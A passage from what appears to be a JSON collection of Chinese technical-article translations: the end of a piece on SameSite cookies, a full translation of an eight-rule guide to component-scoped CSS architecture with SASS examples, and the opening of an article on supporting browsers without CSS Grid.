[TIME](https://www.blackhat.com/eu-13/briefings.html#Beery)) 造成的会话 cookie 的泄露。这些确实是很高级的攻击手段，但是基础的场景是一个 MiTM (中间人攻击) 可以通过任何他们喜欢或监视的机制来强行让浏览器发送跨域请求。通过使用请求载荷的大小的变化，攻击者可以变更浏览器请求并观察每次变更之后的大小就可以猜出一位 session ID 的值。而使用 SameSite Cookies 的话，浏览器在发送这些请求的时候就不会携带 cookies，那么攻击者业就无法猜到他们的值了。\n\n#### 浏览器支持情况 ####\n\n和很多新的浏览器安全特性一样，我们总是希望 Firefox 和 Chrome 能够引领这些新特性，但是这次情况不一样了。Chrome 自从 v51 就开始支持 SameSite Cookie 了，这意味着 Opera，安卓浏览器和安卓上的 Chrome 都支持这一特性。你可以在 [caniuse.com](http://caniuse.com/#search=SameSite) 上看到当前所有支持该属性的详细信息，Firefox 还有一个开放的 [bug](https://bugzilla.mozilla.org/show_bug.cgi?id=795346) 需要添加支持。虽然目前来看支持并不是很全面，但是我们应该给我们的 cookies 添加 SameSite 这个属性。支持这一特性的浏览器将会按照协议为我们的 cookie 提供额外的保护，而不支持的浏览器会直接无视它。这不但对我们没什么影响，还会提供一种不错的具有深度的防御手段。虽然离我们完全移除传统的反 CSRF 机制还有很长的一段时间，但是添加 SameSite 仍然可以为我们提供一个足够健壮的保护。"
  },
  {
    "path": "TODO/css-architecture.md",
    "content": "# 一个健壮且可扩展的 CSS 架构所需的8个简单规则\n\n> * 原文地址：[8 simple rules for a robust, scalable CSS architecture](https://github.com/jareware/css-architecture)\n* 原文作者：[Jarno Rantanen](https://github.com/jareware)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[linpu.li](https://github.com/llp0574)\n* 校对者：[galenyuan](https://github.com/galenyuan)，[StarCrew](https://github.com/StarCrew)\n\n\n这是一份清单，里面列出了在我多年的专业 Web 开发期间，在复杂的大型 Web 项目中学习到的有关管理 CSS 的事项。我多次被人问起这些东西，所以写一份文档记录下来听起来是个不错的主意。\n\n我已经尽力尝试用简短的语言去解释它们了，然而这篇文章本质上还是长文慎入：\n\n1.  [**总是类名优先**](#1-always-prefer-classes)\n2.  [**组件代码放在一起**](#2-co-locate-component-code)\n3.  [**使用一致的类命名空间**](#3-use-consistent-class-namespacing)\n4.  [**维护命名空间和文件名之间的严格映射**](#4-maintain-a-strict-mapping-between-namespaces-and-filenames)\n5.  [**避免组件外的样式泄露**](#5-prevent-leaking-styles-outside-the-component)\n6.  [**避免组件内的样式泄露**](#6-prevent-leaking-styles-inside-the-component)\n7.  [**遵守组件边界**](#7-respect-component-boundaries)\n8.  [**松散地整合外部样式**](#8-integrate-external-styles-loosely)\n\n## [](#introduction)介绍\n\n如果你正在开发前端应用，那么最后你肯定需要关心样式方面的问题。尽管开发前端应用的技术水平持续增长，CSS 仍然是给 Web 应用赋予样式的唯一方式（而且最近，在某些情况下，[原生应用也一样](https://facebook.github.io/react-native/)）。目前在市面上有两大类样式解决方案，即：\n\n*   CSS 预编译器，已经存在很长时间了（如 [SASS](http://sass-lang.com/)、[LESS](http://lesscss.org/) 及其他）\n*   CSS-in-JS 库，一个相对较新的样式解决方案（如 [free-style](https://github.com/blakeembrey/free-style) 和很多[其他的](https://github.com/MicheleBertoli/css-in-js)）\n\n两种方法间的抉择不在本文过多赘述，并且像往常一样，它们都有各自的支持者和反对者。说完这些，在下面的内容里，我将会专注于第一种方法，所以如果你选择了后者，那么这篇文章可能就没什么吸引力了。\n\n## [](#high-level-goals)主要目标\n\n但更具体地说，怎样才能被称为健壮且可扩展呢？\n\n*   **面向组件** - 处理 UI 复杂性的最佳实践就是将 UI 分割成一个个的小组件。如果你正在使用一个合理的框架，JavaScript 方面就将原生支持（组件化）。举个例子，[React](https://facebook.github.io/react/) 就鼓励高度组件化和分割。我们希望有一个 CSS 架构去匹配。\n*   **沙箱化（Sandboxed）** - 如果一个组件的样式会对其他组件产生不必要以及意想不到的影响，那么将 UI 分割成组件并不会对我们的认知负荷起到帮助作用。就这方面而言，CSS的基本功能，如[层叠（cascade）](https://developer.mozilla.org/en/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance)以及一个针对标识符的独立全局命名空间，都会给你造成负担。如果你熟悉 Web 组件规范的话，那么就可以认为它（此架构）有着 [Shadow DOM 的样式隔离好处](http://www.html5rocks.com/en/tutorials/webcomponents/shadowdom-201/) ，而无需关心浏览器支持（或者规范是否经过严格的推敲）。\n*   **方便** - 我们想要所有好的东西，并且还不想因它们而产生更多的工作。也就是说，我们不想因为采用这个架构而让我们的开发者体验变得更糟。可能的话，我们想（开发者体验）变得更好。\n*   **安全性错误** - 结合之前的一点，我们想要所有东西都可以**默认局部化**，并且全局化只是一个特例。工程师都是很懒的，所以为了得到最容易的方法往往都需要使用合适的解决方案。\n\n## [](#concrete-rules)具体的规则\n\n### [](#1-always-prefer-classes)1\\. 总是类名优先\n\n这是显而易见的。\n\n不要去使用 ID 选择器 (如 `#header`)，因为每当你认为某样东西只会有一个实例的时候，[在无限的时间范围内](https://twitter.com/stedwick/status/525777867146539009)，你都将被证明是错的。一个典型的例子就是，当想要在我们构建的大型应用中修复任何数据绑定漏洞的时候（这种情况尤为明显）。我们从为 UI 代码创建两个实例开始，它们并行在同一个 DOM，并都绑定到一个数据模型的共享实例上。这么做是为了保证所有数据模型的变化都可以正确体现到这两个 UI 上。所以任何你可能假设总是唯一的组件，如一个头部模板，就不再唯一了。顺便一提，这对找出其他唯一性假设相关的细微漏洞来说，也是一个很好的基准。我跑题了，但这个故事告诉我们的就是：没有一种情况是使用 ID 选择器会比使用类选择器**更好**，所以只要不使用就行了。\n\n同样也不应该直接使用元素选择器（如 `p`）。通常对一个**属于组件**的元素使用元素选择器是可以的（看下面），但是对于元素本身来说，最终你将会为了一个不想使用它们的组件，而不得不[将那些样式给撤销掉](http://csswizardry.com/2012/11/code-smells-in-css/)。回想一下我们的主要目标，这同样也违背了它们（面向组件，避免折磨人的层叠（cascade），以及默认局部化）。如果你这么选择的话，那么在`body`上设置一些像字体，行高以及颜色的属性（也叫[可继承属性](https://developer.mozilla.org/en-US/docs/Web/CSS/inheritance)），对这个规则来说也可以是一个特例，但是如果你真正想做到组件隔离的话，那么放弃这些也完全是可行的（看下面关于[使用外部样式的部分](#8-integrate-external-styles-loosely)）。\n\n所以在极少特例的情况下，你的样式应该总是类名优先。\n\n### [](#2-co-locate-component-code)2\\. 组件代码放在一起\n\n当使用一个组件的时候，如果所有和组件相关的资源（其 JavaScript 代码，样式，测试用例，文档等等）都可以非常紧密地放在一起，那就更好了：\n\n    ui/\n    ├── layout/\n    |   ├── Header.js              // component code\n    |   ├── Header.scss            // component styles\n    |   ├── Header.spec.js         // component-specific unit tests\n    |   └── Header.fixtures.json   // any mock data the component tests might need\n    ├── utils/\n    |   ├── Button.md              // usage documentation for the component\n    |   ├── Button.js              // ...and so on, you get the idea\n    |   └── Button.scss\n\n当你写代码的时候，只需要简单地打开项目的浏览工具，组件的所有其他内容都唾手可得了。样式代码和生成DOM的JavaScript之间有着天然的耦合性，而且我敢打赌你在修改完其中一个之后不久肯定会去修改另外一个。举例来说，这同样适用于组件及其测试代码。可以认为这就是 UI 组件的[访问局部性原理](https://en.wikipedia.org/wiki/Locality_of_reference)。我以前也会细致地去维护各种独立的镜像文件，它们各自存在 `styles/`、 `tests/` 和 `docs/` 等目录下面，直到我意识到，实际上我一直这么做的唯一原因是因为我就是一直这样做的。\n\n### [](#3-use-consistent-class-namespacing)3\\. 使用一致的类命名空间\n\nCSS 对类名及其他标识符（如 ID、动画名称等）都有一个独立扁平的命名空间。就像过去在 PHP 里，其社区想通过简单地使用更长且具有结构性的名称来处理这个问题，因此就效仿了命名空间（[BEM](http://getbem.com/) 就是个例子）。我们也想要选择一个命名空间规范，并坚持下去。\n\n比如，使用 `myapp-Header-link` 来当做一个类名，组成它的三个部分都有着特定的功能：\n\n*   `myapp` 首先用来将我们的应用和其他可能运行在同一个 DOM 上的应用隔离开来\n*   `Header` 用来将组件和应用里其他的组件隔离开来\n*   `link` 用来为局部样式效果保存一个局部名称（在组件的命名空间内）\n\n作为一个特殊的情况，`Header` 组件的根元素可以简单地用 `myapp-Header` 类来标记。对于一个非常简单的组件来说，这可能就是所需要做的全部了。\n\n不管我们选择怎样的命名空间规范，我们都想要通过它保持一致性。那三个类名组成部分除了有着特定**功能**，也同样有着特定的**含义**。只需要看一下类名，就可以知道它属于哪里了。这样的命名空间将成为我们浏览项目样式的地图。\n\n目前为止我都假设命名空间的方案为 `app-Component-class`，这是我个人在工作当中发现确实好用的方案，当然你也可以琢磨出自己的一套来。\n\n### [](#4-maintain-a-strict-mapping-between-namespaces-and-filenames)4\\. 维护命名空间和文件名之间的严格映射\n\n这只是对之前两条规则的逻辑组合（组件代码放在一起以及类命名空间）：所有影响一个特定组件的样式都应该放到一个文件里，并以组件命名，没有例外。\n\n如果你正在使用浏览器，然后发现一个组件表现异常，那么你就可以点击右键检查它，接着你就会看到：\n\n\n\n    <div class=\"myapp-Header\">...</div>\n\n\n\n注意到组件名称，然后切换至你的编辑器，按下“快速打开文件”的快捷键，然后开始输入“head”，就可以看到：\n\n[![Quick open file](https://github.com/jareware/css-architecture/raw/master/quick-open-file.png)](/jareware/css-architecture/blob/master/quick-open-file.png)\n\n这种来自 UI 组件关联源代码文件的严格映射非常有用，特别是如果你新进入一个团队并且还没有完全熟悉代码结构，通过这个方法你不需要熟悉就可以快速找到你应该写代码的地方了。\n\n有一个对这种方法的自然推论（但或许不是那么快变得明显）：一个单独的样式文件应该只包含属于一个独立命名空间的样式。为什么？假设我们有一个登录表单，只在 `Header` 组件内使用。在 JavaScript 代码层面，它被定义成一个名为 `Header.js` 的辅助组件，并且没有在任何地方被引入。你可能想声明一个类名为 `myapp-LoginForm`，并在 `Header.js` 和 `Header.scss` 里使用。那么假设团队里有一个新人被安排去修复登录表单上一个很小的布局问题，并想通过检查元素发现在哪里开始修改。然而并没有 `LoginForm.js` 或者 `LoginForm.scss` 可以被发现，这时他就不得不凭借 `grep` （Linux 命令）或者靠猜去寻找相关联的源代码文件。这也就是说，如果这个登录表单产生了一个独立的命名空间，那么就应该将其分割成一个独立的组件。一致性在大型项目里是非常有价值的。\n\n### [](#5-prevent-leaking-styles-outside-the-component)5\\. 避免组件外的样式泄露\n\n我们已经建立了自己的命名空间规范，并且现在想使用它们去沙箱化我们的 UI 组件。如果每个组件都只使用加上它们唯一的命名空间前缀的类名，那我们就可以确定它们的样式不会泄露到其他组件中去。这是非常高效的（看后面的注意事项），但是不得不反复输入命名空间也会变得越来越冗长乏味。\n\n一个健壮，且仍然非常简单的解决方案就是将整个样式文件包装成一个前缀。注意我们是怎样做到只需要重复一次应用和组件名称：\n\n\n\n    .myapp-Header {\n      background: black;\n      color: white;\n\n      &-link {\n        color: blue;\n      }\n\n      &-signup {\n        border: 1px solid gray;\n      }\n    }\n\n\n\n上面的例子是在 SASS 中实现的，但其中的 `&` 符号（或许让人有点惊讶）在所有相关的 CSS 预处理器中都做着同样的工作（[SASS](http://sass-lang.com/)、[PostCSS](https://github.com/postcss/postcss-nested)、[LESS](http://lesscss.org/) 以及 [Stylus](http://stylus-lang.com/)）。出于完整性，接下来给出上面 SASS 代码编译后的结果：\n\n\n\n    .myapp-Header {\n      background: black;\n      color: white;\n    }\n\n    .myapp-Header-link {\n      color: blue;\n    }\n\n    .myapp-Header-signup {\n      border: 1px solid gray;\n    }\n\n\n\n所有常见的模式也可以使用它很好地表示出来，比如不同的组件状态有着不同的样式（想想 [BEM 条件下的修饰符](http://getbem.com/naming/)）：\n\n\n\n    .myapp-Header {\n\n      &-signup {\n        display: block;\n      }\n\n      &-isScrolledDown &-signup {\n        display: none;\n      }\n    }\n\n\n\n上面的编译结果如下：\n\n\n\n    .myapp-Header-signup {\n      display: block;\n    }\n\n    .myapp-Header-isScrolledDown .myapp-Header-signup {\n      display: none;\n    }\n\n\n\n只要你的预编译器支持冒泡（SASS、LESS、PostCSS 和 Stylus 都可以做到），甚至媒体查询也可以很方便表示：\n\n\n\n    .myapp-Header {\n\n      &-signup {\n        display: block;\n\n        @media (max-width: 500px) {\n          display: none;\n        }\n      }\n    }\n\n\n\n上面的代码就会变成：\n\n\n\n    .myapp-Header-signup {\n      display: block;\n    }\n\n    @media (max-width: 500px) {\n      .myapp-Header-signup {\n        display: none;\n      }\n    }\n\n\n\n上面的模式让使用长且唯一的类名变得非常方便，因为你再也无需反复输入它们了。方便性是强制的，因为如果不方便，那么我们就会偷工减料了。\n\n### [](#quick-aside-on-the-js-side-of-things)JS 端的快速一览\n\n这篇文档是关于样式规范的，但样式是不能凭空独立存在的：我们在 JS 端也需要产生同样的命名空间化类名，并且方便性也是强制的。\n\n厚着脸皮做个广告，我恰好为此曾经建立了一个非常简单，无任何依赖的 JS 库，叫做 [`css-ns`](https://github.com/jareware/css-ns)。当在框架层面编译的时候（[比如使用 React](https://github.com/jareware/css-ns#use-with-react)），它允许在一个特定文件内**强制**建立一个特定的命名空间。\n\n\n\n    // Create a namespace-bound local copy of React:\n    var { React } = require('./config/css-ns')('Header');\n\n    // Create some elements:\n    <div className=\"signup\">\n      <div className=\"intro\">...</div>\n      <div className=\"link\">...</div>\n    </div>\n\n\n\n\n将渲染出的 DOM 如下所示：\n\n\n\n\n    <div class=\"myapp-Header-signup\">\n      <div class=\"myapp-Header-intro\">...</div>\n      <div class=\"myapp-Header-link\">...</div>\n    </div>\n\n\n\n\n这真的非常方便，并且上面所有的代码让 JS 端也变成了**默认局部化**。\n\n但是我再次跑题了，回到 CSS 端。\n\n### [](#6-prevent-leaking-styles-inside-the-component)6\\. 避免组件内的样式泄露\n\n还记得我说过给每个类名加上组件命名空间的前缀时，这是对沙箱化样式来说很高效的一种方式吗？还记得我说过这里有个“注意事项”吗？\n\n考虑下面的样式：\n\n\n\n    .myapp-Header {\n      a {\n        color: blue;\n      }\n    }\n\n\n\n以及下面的组件层：\n\n    +-------------------------+\n    | Header                  |\n    |                         |\n    | [home] [blog] [kittens] | <-- 这些都是 <a> 元素\n    +-------------------------+\n\n这很酷，不是吗？`Header` 里只有 `<a>` 元素会变成[蓝色](https://www.youtube.com/watch?v=axHe_BVY_9c)，因为我们生成的规则如下：\n\n\n\n    .myapp-Header a { color: blue; }\n\n\n\n但是考虑布局在之后做一下变化：\n\n    +-----------------------------------------+\n    | Header                    +-----------+ |\n    |                           | LoginForm | |\n    |                           |           | |\n    | [home] [blog] [kittens]   | [info]    | | <-- 这些是 <a> 元素\n    |                           +-----------+ |\n    +-----------------------------------------+\n\n选择器 `.myapp-Header a` **同样匹配**了 `LoginForm` 里的 `<a>` 元素，所以我们搞砸了这里的样式隔离。事实证明，将所有样式包装到一个命名空间里对于隔离组件及其邻居组件来说，是一个高效的方式，**但却不能总是和其子组件隔离**。\n\n这个问题可以通过两种方法修复：\n\n1.  绝不在样式表中使用元素名称选择器。如果 `Header` 里的 `<a>` 元素都使用 `<a class=\"myapp-Header-link\">` 替代，那么我们就不需要处理这个问题了。再往下看，有时候你会设置一些语义化标签，像 `<article>`、`<aside>` 以及 `<th>`，都放在了正确的位置上，并且你又不想用额外的类名来弄乱它们，这种情况下：\n2.  在你的命名空间之外只使用 [`>` 操作符](https://developer.mozilla.org/en-US/docs/Web/CSS/Child_selectors) 来选择元素。\n\n根据第二个方法来做调整，我们的样式代码就可以改写如下：\n\n\n\n    .myapp-Header {\n      > a {\n        color: blue;\n      }\n    }\n\n\n\n这样就可以确保隔离同样作用于更深层次的组件树，因为生成的选择器变成了 `.myapp-Header > a`。\n\n如果这听起来有争议，那么让我通过下面这个同样运行良好的例子更进一步地使你信服：\n\n\n\n    .myapp-Header {\n      > nav > p > a {\n        color: blue;\n      }\n    }\n\n\n\n经过[多年的可靠建议](http://lmgtfy.com/?q=css+nesting+harmful)，我们一直认为要尽量避免选择器嵌套（包括这个使用了 `>` 的强关联形式）。但是为什么呢？这个引用的原因归结为以下三个：\n\n1.  层叠样式最终会毁掉你的一天。要是嵌套越多的选择器，那么就有越高的机会造成一个元素匹配上**多于一个组件**的情况。如果你读到这里，你就会知道我们已经消除了这种可能性了（使用严格的命名空间前缀，并在需要的时候使用强关联子元素选择器）。\n2.  太多的特性会减少可复用性。写给 `nav p a` 的样式将不能在特定情况下之外的任意地方被复用。但其实我们**从来没想要它可复用**，事实上，我们特意禁止这个可复用的方法，因为这种可复用性并不能在我们想实现组件隔离的目标上产生好的作用。\n3.  太多的特性会让重构变得更加困难。这可以在现实中找到依据，假设你只有一个 `.myapp-Header-link a`，你可以很自由地在组件的 HTML 中移动 `<a>` 元素，同样的样式总是会一直生效。然而如果使用 `> nav > p > a`，就需要更新选择器去匹配组件的 HTML 内这个链接的新位置。但考虑到我们想要 UI 是由一些小且隔离性好的组件组成，这个问题也不是相当重要。当然，如果你不得不在重构的时候考虑整个应用的 HTML 和 CSS，那么这个问题可能就有点严重了。但是现在你是在一个只有十行样式代码的小沙箱内进行操作，并且还知道沙箱外没有其他东西需要考虑，那么这种类型的变化就不是问题了。\n\n通过这个例子，你应该很好的理解了规则，所以你知道什么时候应该打破它们。在我们的架构里，选择器嵌套不仅仅只是可以用，有时候它还是一件非常正确的事情。为之疯狂吧。\n\n### [](#an-aside-for-the-curious-prevent-leaking-styles-into-the-component)出于好奇的题外话：预防泄露样式**进入**组件\n\n所以我们是否已经实现了样式的完美沙箱化，以至于每个组件的存在都可以和页面的其他内容隔离开来呢？做一个快速回顾：\n\n*   我们已经通过用组件的命名空间给每个类名加前缀来避免**组件向外泄露样式**：\n\n        +-------+\n        |       |\n        |    -----X--->\n        |       |\n        +-------+\n\n*   引申开来，这也意味着我们已经避免了**组件间的泄露**：\n\n        +-------+     +-------+\n        |       |     |       |\n        |    ------X------>   |\n        |       |     |       |\n        +-------+     +-------+\n\n*   而且我们还通过考虑子选择器来避免**泄露进入子组件**：\n\n        +---------------------+\n        |           +-------+ |\n        |           |       | |\n        |    ----X------>   | |\n        |           |       | |\n        |           +-------+ |\n        +---------------------+\n\n*   但更为关键的是，**外部样式仍然可以泄露进入组件当中**：\n\n              +-------+\n              |       |\n        ---------->   |\n              |       |\n              +-------+\n\n举个例子，假设我们给组件写了下面的样式：\n\n\n\n    .myapp-Header {\n      > a {\n        color: blue;\n      }\n    }\n\n\n\n但是接着我们引入一个表现不好的第三方库，有着下面的 CSS：\n\n\n\n    a {\n      font-family: \"Comic Sans\";\n    }\n\n\n\n**没有一个简单的方法可以保护我们的组件不受外部样式的污染**，并且这是我们经常需要调整的地方：\n\n[![Give up](https://github.com/jareware/css-architecture/raw/master/give-up.gif)](/jareware/css-architecture/blob/master/give-up.gif)\n\n幸好，对于你自己使用的依赖来说常常会有一个控制方式，并且也可以简单地找一个表现更好的选择。\n\n而且，我说的是没有一个**简单的**的方法可以保护组件，并不意味着没有方法。[老兄，当然是有方法的](https://www.youtube.com/watch?v=20wUS_bbOHY)，它们只是有不同的取舍：\n\n*   只需强制覆盖它：如果你为每个组件的每个元素去引入一个 [CSS 重置样式](http://cssreset.com/what-is-a-css-reset/)，并且使用一个优先级总是高于其他第三方库的选择器，那么就非常棒了。但是除非是一个小应用（假设一个第三方“共享”按钮可以嵌入到网站上那种），否则这种方法将会迅速失控。这不算是一个好主意，只是在这里列出来等待完善。\n*   [`all: initial`](https://developer.mozilla.org/en/docs/Web/CSS/all) 是一个很少人知道的新 CSS 属性，它专门为了这个问题而设计。它可以[阻止继承属性流入](https://jsfiddle.net/0d9htatc/)，并且[只要它赢得了特性之争](https://jsfiddle.net/e7rw4L8L/)（并且只要你为每个想保护的属性重复使用它），还可以作为一个本地重置生效。它的实现[有些错综复杂](https://speakerdeck.com/csswizardry/refactoring-css-without-losing-your-mind?slide=39)，而且还不是所有浏览器都[支持](http://caniuse.com/#feat=css-all)，但是 `all: initial` 最后或许可以成为样式隔离的有效方法。\n*   Shadow DOM 已经被提到过，而它正是为你解决问题的一个工具，因为它允许为 JS 和 CSS 声明组件边界。尽管最近有[一丝希望的微光](https://developer.apple.com/library/content/releasenotes/General/WhatsNewInSafari/Articles/Safari_10_0.html)，Web 组件规范还是没有在今年取得很大的进步，并且除非你使用的是一些已知可支持的浏览器，否则还是不能将 Shadow DOM 列入考虑范围。\n*   最后，还有 `<iframe>`。它提供了 Web 运行环境所能提供的最强的隔离形式（既为 JS 也为 CSS），但同样为运行成本（潜在因素）和维护（保留的内存）带来了巨大的消耗。不过，通常代价是值得的，并且最著名的网络嵌入（Facebook、Twitter、Disqus等等）事实上也是用 iframe 实现的。然而本文档的目的是隔离成千上百个小组件，就此而言，这个方法将数以百倍地消耗我们的性能。\n\n不管怎样，这个题外话跑得有点远了，回到我们的 CSS 规则。\n\n### [](#7-respect-component-boundaries)7\\. 遵守组件边界\n\n就像我们赋予 `.myapp-Header > a` 的样式，当嵌套组件的时候，我们可能还需要给子组件提供一些样式（Web 组件类比再次完美，因为接下来 `> a` 和 `> my-custom-a` 的效果并没有什么差异）。考虑下面的布局：\n\n    +---------------------------------+\n    | Header           +------------+ |\n    |                  | LoginForm  | |\n    |                  |            | |\n    |                  | +--------+ | |\n    | +--------+       | | Button | | |\n    | | Button |       | +--------+ | |\n    | +--------+       +------------+ |\n    +---------------------------------+\n\n我们马上可以看到用 `.myapp-Header .myapp-Button` 写样式不会是一个好主意，显然应该用 `.myapp-Header > .myapp-Button` 来替代。但是我们到底要给子组件提供什么样式呢？\n\n注意到 `LoginForm` 靠在了 `Header` 的右边界上。直观看来，一个可能的样式就是：\n\n\n\n    .myapp-LoginForm {\n      float: right;\n    }\n\n\n\n我们没有违反任何规则，但是我们让 `LoginForm` 变得有点难以复用了：如果我们接下来的主页想要这个 `LoginForm`，但是不想要右浮动，那就不走运了。\n\n这个问题实际的解决方案就是（局部地）放宽之前的规则，只对当前文件所属的命名空间提供样式。具体来说，我们希望用下面的代码替换：\n\n\n\n    .myapp-Header {\n      > .myapp-LoginForm {\n        float: right;\n      }\n    }\n\n\n\n这样实际上已经很好了，只要我们不允许随意地破坏子组件的沙箱：\n\n\n\n    // COUNTER-EXAMPLE; DON'T DO THIS\n    .myapp-Header {\n      > .myapp-LoginForm {\n        color: blue;\n        padding: 20px;\n      }\n    }\n\n\n\n我们不允许这么做，因为这样做会失去局部变化没有全局影响的安全性。使用上面代码的话，当修改 `LoginForm` 组件表现的时候，`LoginForm.scss` 就不再是唯一需要检查的地方了。发生变化再次变得可怕。所以可用与不可用之间的界限到底在哪里？\n\n我们希望遵守每个子组件**内部**的沙箱，因为我们不想依赖其实现细节。它对于我们来说是个黑盒。相反地，在子组件**外部**的是父组件的沙箱，它占据着主要位置。区分内部和外部正好引出了 CSS 中最基本的概念之一：[盒模型](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model)。\n\n[![CSS Box Model](https://github.com/jareware/css-architecture/raw/master/box-model.png)](/jareware/css-architecture/blob/master/box-model.png)\n\n我做的这个类比很糟糕，但我们继续看：就像**在一个国家内**意味着在其物理边界之内，我们建立了一个边界，父组件只可以在子组件边界之外对（直接）子组件样式产生影响。这意味着关系到位置和大小的属性（如 `position`、`margin`、`display`、`width`、`float`、`z-index` 等等）是可用的，而影响到内部边界的属性（如 `border` 本身、`padding`、`color`、`font`等）是不可用的。\n\n按照推论，下面这样显然也是禁止的：\n\n\n\n    // COUNTER-EXAMPLE; DON'T DO THIS\n    .myapp-Header {\n      > .myapp-LoginForm {\n        > a { // relying on implementation details of LoginForm ;__;\n          color: blue;\n        }\n      }\n    }\n\n\n\n有几个有趣或者说无聊的边界情况，比如：\n\n*   `box-shadow` - 一个特定类型的 shadow 可以是一个组件外观不可缺少的部分，因此组件应该自己包含这些样式。话又说回来，这种视觉效果可以在边界外清楚地渲染出来，所以它又可以回到父组件的作用域。\n*   `color`, `font` 及其他[可继承属性](https://developer.mozilla.org/en-US/docs/Web/CSS/inheritance) - `.myapp-Header > .myapp-LoginForm { color: red }` 这种写法碰到了子组件内部的属性，但从另一方面来说，这又可以在功能上等同于 `.myapp-Header { color: red; }`，这种写法根据其他规则又是可行的。\n*   `display` - 如果子组件使用了 [Flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) 布局，那么它很可能依赖于其根元素上设置 `display: flex` 属性。不过，父组件也可能选择通过 `display: none` 来隐藏其子组件。\n\n在这些边界情况下要意识到一件重要的事情，你并不是在冒着打核战争的危险，而只是在引入少量的 CSS 层叠好回到自己的样式。就和其他不好的做法一样，适当地使用层叠是可以的。例如，再仔细看到最后的例子，[特性优先级比较](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity)正如你所想要的效果一样：当组件可见时，`.myapp-LoginForm { display: flex }` 的优先级更高。而当拥有者决定用 `.myapp-Header-loginBoxHidden > .myapp-LoginBox { display: none }` 隐藏组件时，这个样式的优先级更高。\n\n### [](#8-integrate-external-styles-loosely)8\\. 松散地整合外部样式\n\n为了避免重复工作，有时可能需要在组件间共享样式。为了避免全部工作，有时又可能想使用其他人创建的样式。这两种情况的实现都不应该创建出不必要的耦合到代码库中。\n\n拿一个具体的例子来说，考虑使用一些来自 [Bootstrap](http://getbootstrap.com/css/) 的样式，因为这对于使用恼人的框架来说是一个很好的例子。想想我们上面所讨论到的所有事情，关于为样式共享一个独立的全局命名空间，以及不好的冲突，Bootstrap 会：\n\n*   导出一大堆选择器（版本 3.3.7 来说, 具体有 2481 个）到命名空间里，不管你实际上是否使用它们。（有趣的一面：IE9 在默认忽略剩余选择器之前只会处理 4095 个选择器。我曾经听说有人花了**很多天**来调试它们，鬼知道他们经历了什么。）\n*   使用写死的类名如 `.btn` 和 `.table`。不敢想象某些不小心复用了这些样式的开发者或者项目。（讽刺脸）\n\n不管了，我们希望使用 Bootstrap 作为 `Button` 组件的基础。\n\n用某段代码替换下面的来整合到 HTML 端：\n\n\n\n    <button class=\"myapp-Button btn\">\n\n\n\n考虑在样式中[扩展](http://sass-lang.com/documentation/file.SASS_REFERENCE.html#extend)这个类：\n\n\n\n    <button class=\"myapp-Button\">\n\n\n    .myapp-Button {\n      @extend .btn; // from Bootstrap\n    }\n\n\n\n这么做有一个好处，那就是没有给任何人（包括你自己）产生一种想法：在 HTML 组件上去依赖可笑地命名为 `btn` 的类。`Button` 所使用的样式的来源是一个完全不需要显示在外面的实现细节。因此，如果你决定放弃 Bootstrap 转而支持另外的框架（或者只是你自己去写样式），那么这种改变无论如何都不会外部可见（呃，除非，这种可见变化是在于 `Button` 本身长什么样子）。\n\n同样的原则适用于你自己的辅助类，并且你可以选择使用更合理的类名：\n\n\n\n    .myapp-Button {\n      @extend .myapp-utils-button; // defined elsewhere in your project\n    }\n\n\n\n或者[干脆放弃放出类](http://sass-lang.com/documentation/file.SASS_REFERENCE.html#placeholder_selectors_)（[大部分预编译器都可以支持](https://csspre.com/placeholder-selectors/)）：\n\n\n\n    .myapp-Button {\n      @extend %myapp-utils-button; // defined elsewhere in your project\n    }\n\n\n\n最后，所有的 CSS 预编译器都支持 [mixins](http://sass-lang.com/documentation/file.SASS_REFERENCE.html#mixins) 的概念，这可是一个强有力的工具：\n\n\n\n    .myapp-Button {\n      @include myapp-generateCoolButton($padding: 15px, $withExplosions: true);\n    }\n\n\n\n应该注意的是当处理更友好的样式框架时（如 [Bourbon](http://bourbon.io/) 或者 [Foundation](http://foundation.zurb.com/)），它们实际上会这么做：定义一大堆 mixin 给你去在需要的时候使用，并且它们本身没有放出任何样式。[Neat](http://neat.bourbon.io/) 框架。\n\n## [](#in-closing)在结束前\n\n> 知晓所有规则，所以知道何时打破它们\n\n最后，如前所述，当你理解了你所制定的规则（或者是从网上其他人那儿采取的），你就可以写出对你有意义的特例。比如，如果你觉得直接使用一个辅助类是有附加价值的，那么就可以这么做：\n\n\n\n    <button class=\"myapp-Button myapp-utils-button\">\n\n\n\n这种附加价值可能是，比如说，你的测试框架之后可以更智能地自动找出什么元素表现为按钮，以及可以被点击。\n\n或者你可能会在违背程度很小的情况下决定去打破组件隔离，并且分割组件的额外工作可能会变得更好。但我想要提醒的是这就像是个下坡路，而且不要忘了一致性的重要性等等，只要你的团队保持一致，并且你可以完成它们，那么你就是在做对的事情。\n\n## [](#the-end)结语\n\n如果你喜欢这篇文章，你完全可以 [tweet 关于它的内容！](https://twitter.com/home?status=8%20simple%20rules%20for%20a%20robust,%20scalable%20CSS%20architecture%3A%20https%3A//github.com/jareware/css-architecture)或者不。\n\n## [](#license)证书\n\n[CC BY 4.0](https://creativecommons.org/licenses/by/4.0/)"
  },
  {
    "path": "TODO/css-grid-supporting-browsers-without-grid.md",
    "content": "> * 原文地址：[Using CSS Grid: Supporting Browsers Without Grid](https://www.smashingmagazine.com/2017/11/css-grid-supporting-browsers-without-grid/?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning)\n> * 原文作者：[Rachel Andrew](https://www.smashingmagazine.com/author/rachel-andrew)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/css-grid-supporting-browsers-without-grid.md](https://github.com/xitu/gold-miner/blob/master/TODO/css-grid-supporting-browsers-without-grid.md)\n> * 译者：[Raoul1996](https://github.com/Raoul1996)\n> * 校对者：[AceLeeWinnie](https://github.com/AceLeeWinnie)、[su-dan](https://github.com/su-dan)\n\n# 使用 CSS Grid：以兼容不支持栅格化布局的浏览器\n\n**摘要**\n\n当使用任何 CSS 的新特性的时候，浏览器的兼容问题都必须去解决。与 Flexbox 和 CSS Grid 一样，在使用 CSS 新特性布局时，兼容性比性能增强更值得考虑。\n\n在这篇文章中，我将探索**现今处理浏览器兼容问题**的方法。为了让我们现在就用上 CSS 